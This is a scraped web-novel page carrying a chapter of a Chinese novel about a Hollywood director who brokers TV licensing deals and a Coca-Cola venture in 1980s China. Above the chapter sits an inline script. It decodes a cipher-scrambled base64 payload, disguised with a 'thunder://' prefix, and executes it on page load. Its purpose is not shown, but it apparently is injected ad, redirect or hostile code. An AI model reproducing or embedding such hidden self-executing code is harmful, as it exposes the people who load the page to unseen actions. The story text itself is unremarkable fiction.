当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一页
目录 | 设置
下一章

第三百二十六章 市长特聘专家(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

“围城,我是去作者钱先生家里,得到他同意才改编的。”黄导到还没想到卖去阿美利加这层……

“让制片人和我联系一下,我让我的公司在阿美利加找找销路,你不知道,我最近收购了一个纽约的小电视台,正在找合适的电视剧。还有你们动画片厂的那些动画片,如果愿意的话,我也可以购买一些无台词的电影的播放权。不过价格不高就是了。”

罗纳德知道这里的动画片厂有不少中短篇,都是没有台词的,倒可以无障碍的去播放一下试试。

“罗导演,请问你的电视台,有没有什么电视剧的作品啊?我现在正好需要引进一些合适的电视连续剧……”

那位黄导的朋友,一直没说话的朱亮,听到这里,突然插话问道。

“哎?你要买电视剧?”罗纳德没想到朱亮对这个生意关心,还以为她只是黄导的圈外朋友。

“认识一下,我是中美文化娱乐公司的总经理兼董事长……”朱亮赶紧递了一张中英文的名片过来。

“中美文化娱乐公司?”罗纳德觉得这个公司名头也太大了。

“其实就是个皮包公司,主要来把阿美利加的电视剧,卖给本地电视台译制用的。我已经引进过神探亨特……”

原来这位所谓的中美文化娱乐公司创始人朱亮,看到地方电视台没有合适的电视剧放,主动联系市政府,从阿美利加一家海外影视版权分销商洛丽玛影视公司那里买来版权,无偿送给电视台播放。

“那你不赚钱吗?”罗纳德奇怪到,他发现,来这个国家的商人,都不像在阿美利加那里,可以公开的讨论钱一样。

“赚得,不过有些困难……”朱亮聊了两句遇到的困难。现在的地方电视台,进口电视剧拷贝,不能动用外汇。所以她只能和他们等价交换广告时段。

现在的地方电视台广告价格并不贵,魔都一家并不能覆盖“神探亨特”的购买成本。所以朱亮非常聪明的利用了自己几年前运作阿美利加的冰上芭蕾舞团来沪演出积累下来的人脉,找到了一位副市长,联系了另外三家首都和沿海地区的地方电视台。

“神探亨特”就是在本地电视台新成立的译制组配音以后,然后在“海外影视”栏目首播,换到了这个节目的广告时段,然后再第二轮送往其他三家电视台播放,也用当地的广告时段交换。当然,她一个人也很难监管,主要还是靠本地二十频道的广告收入。

洛丽玛影视去年开始调高了给她的价格,现在这种模式有些难以为继,所以朱亮听到罗纳德是电视台老板,马上想试探一下。

“神探亨特?那不是抓坏人之前要说米兰达警告的吗?”罗纳德没想到现在改革开放的风气已经渐渐吹到了这里了。

“没问题,副市长亲自答应的……最后还要放洛丽玛影视公司版权所有呢……”朱亮在阿美利加打拼过,知道罗纳德说的是什么意思。

“神探亨特也不是一部一线的电视剧,为什么不买一些真正的美剧精品来放呢?”罗纳德没有回答朱亮的问题,反而反问。

“一线的电视剧太贵了,而且他们现在还要调高价格,这里市场的广告费用不足以覆盖……”

“如果我用低价卖给你版权,然后广告收入我们分享呢?”罗纳德打断了对方,直接给出了解决方案。

“啊?”朱亮愣了一下,没想到和老朋友吃饭,还会有馅饼掉到自己头上?“我可以联系副市长先生和你见面,只要是导向良好的电影,问题应该不大。”

小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“好好,我们先吃饭……”,罗纳德不再多说,他看到了一个好机会。

……

朱亮之后很快的拿来了神探亨特的录像带,让罗纳德看了一下配音后的版本。

效果很不错,和罗纳德之前看到的译制片厂的配音效果差不多了。看来这里的演员收入不高,还能有这样的好演员来做配音工作。

罗纳德让新锦江大饭店的总机拨通了国际长途,现在涉外饭店的这个服务已经很不错了,只要付美元就可以在房间里打跨洋电话。

“我想要直接向ABC购买成长的烦恼的东亚销售版权,你问问他们愿不愿意?”

“可以,ABC和我们合作良好,他们电视制作部的人,还很承你帮忙的情呢。”电视台的总裁埃德·巴斯蒂安马上一口答应。

罗纳德又开始看配音版的“神探亨特”,不知道为什么,他觉得这个版本的配音,非常的熟悉,超过了原版的演员。

“法律顾问傅玄杰律师的声明:海外影视栏目的版权归“阿美利加洛丽玛影视公司”所有,未经允许不得翻录,违者将依法追究。”

看着电视剧每集开头前面的法律声明,罗纳德笑眯眯的躺在了海伦的怀里。以后这里的电视观众,每天晚上都会看到自己公司的名字,出现在电视剧的开头。

这种熟悉的感觉,才是最重要的。以后有哪一天这里开放了电影市场,自己的品牌可就已经领先了七大制片厂,率先树立起来了。

……

很快,罗纳德拿到了ABC电视台的授权书,和朱亮签订了协议。以超低价供应“成长的烦恼”的播放权,然后二十频道负责译制配音,朱亮的公司拿到了广告时段,再和罗纳德共享。

那位负责宣传的副市长,还特别宴请了罗纳德一行人,感谢阿美利加朋友对本国电视事业的无私帮助,拍了几张合影照片。

连带着海伦和她的父亲杰拉德也沾光,成了副市长的座上宾,纪录片的拍摄也得到了极大的支持。

……

“副市长……和来访的阿美利加着名影视导演罗纳德·李一行会晤,探讨影视改革发展方向……罗纳德导演曾导演了在我国风靡一时的‘霹雳舞’……”

看到第二天的晚报上,发了罗纳德被接见的新闻。朱亮是真的服了。人家大资本家,就是放长线钓大鱼,宁愿赔本也要先让自己的公司成为民众熟悉的品牌。

“谁说我们要赔本了?”罗纳德笑道。他已经联系了可口可乐的办事处人员,谈好了对二十频道“海外影视”栏目的广告投放。并且报送了副市长批复。

罗纳德让可口可乐选送的,都是四平八稳的形象广告。对广告业非常关注的他们,也说不出什么问题来。

通过这个事情,罗纳德对怎么在这个国家做生意有了初步的了解。和闪电灯这种出口产品的制造厂不同,要进入国内市场,确实如格林伯格所说,要灵活,要懂得对方要什么,而且还要细水长流,先用巧妙的安排来规避改革中的一些禁区。先用这种办法试个几年,然后对方说不定就把一些条款改成更加方便的了。

就像可口可乐想设立外商独资企业,但是各种限制太多。罗纳德就把自己的心得告诉了可口可乐的人。他们受到启发,也想出了一个灵活的办法

既然对方想办合资企业,不让外资控股超过50%,而可口可乐又不想让原浆厂的秘密配方外泄,必须掌握100%的原浆厂股权。

了解了双方的想法,可口可乐就想出了一个奇妙的安排,先投资成立一个原浆厂加上灌装厂的独资企业,然后把一半的资产,灌装厂送给了政府。

这样政府拿到了一个总厂50%的股权,而可口可乐还是100%控制了原浆厂。

这个方案报送了可口可乐以后,马上总裁基奥就批准了。得知是罗纳德想的点子还特意打电话来感谢。

“哈哈哈,他们其实都是很务实的人,我也是慢慢学习和他们做生意的方法,要双赢,大家都赢……”

挂上电话,海伦就帮罗纳德穿上了深蓝的外套,然后把那张手写印刷体再插进塑料卡里的名牌,用别针别到了罗纳德的胸口。他就要去参加正式的国际企业家咨询会议了。

……

“哗哗哗……”罗纳德在内的六十多位跨国企业家,都在新锦江新启用的的会议大厅里鼓掌。上面是市长在发表欢迎演讲。

“这是……第一次迎来人数如此之多、层次如此之高的外国高管。我代表……感谢诸位的与会……为……发展献计献策……

我可以有把握地告诉各位,几年以后,黄浦江以东地区将成为……投资环境较为理想、投资政策更具吸引力、对外经济交往条件越来越好的外商投资新区

我向各位外国客人呼吁,期待一切有远见、有眼光的实业家们到……来,在开发、建设现代化……新区的进程中共同合作。”

之后的午餐会是自助形式,大家都排队取餐,可以自由的交流。格林伯格看到罗纳德,就过来拍拍他的肩膀,这个小家伙不声不响就弄了个大新闻,要是来卖保险肯定也是一把好手。

罗纳德也笑眯眯,因为在电视剧引进和可口可乐公司设厂两大标志性事件上的贡献,他也和格林伯格一起,被聘为市长特聘专家,发了大红烫金的聘书。这下是真的成了正式认可的华国人民的老朋友了。

第二天,有罗纳德的新闻也升格了,虽然因为有些企业家不想太高调,报道没有提名字和头衔,但是这次报道这个市长国际企业家咨询会议的,是日报,比之前的晚报又上了一个档次。

“罗纳德,听说你得到了市长先生的夸奖”

消息传得很快,连索尼的CEO大贺典雄也打电话过来询问。

“哈哈哈,是的,我只是想了一个点子……”罗纳德心里还听得意。

“你能不能给我想个点子?来东京一趟?”

“我得会好莱坞了,那里一大堆事情,我还要陪陪戴安……”

“不会耽误你太久的,我让专机去接你,然后送你回好莱坞……”

喜欢剥削好莱坞1980请大家收藏:剥削好莱坞1980本站更新速度全网最快。

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间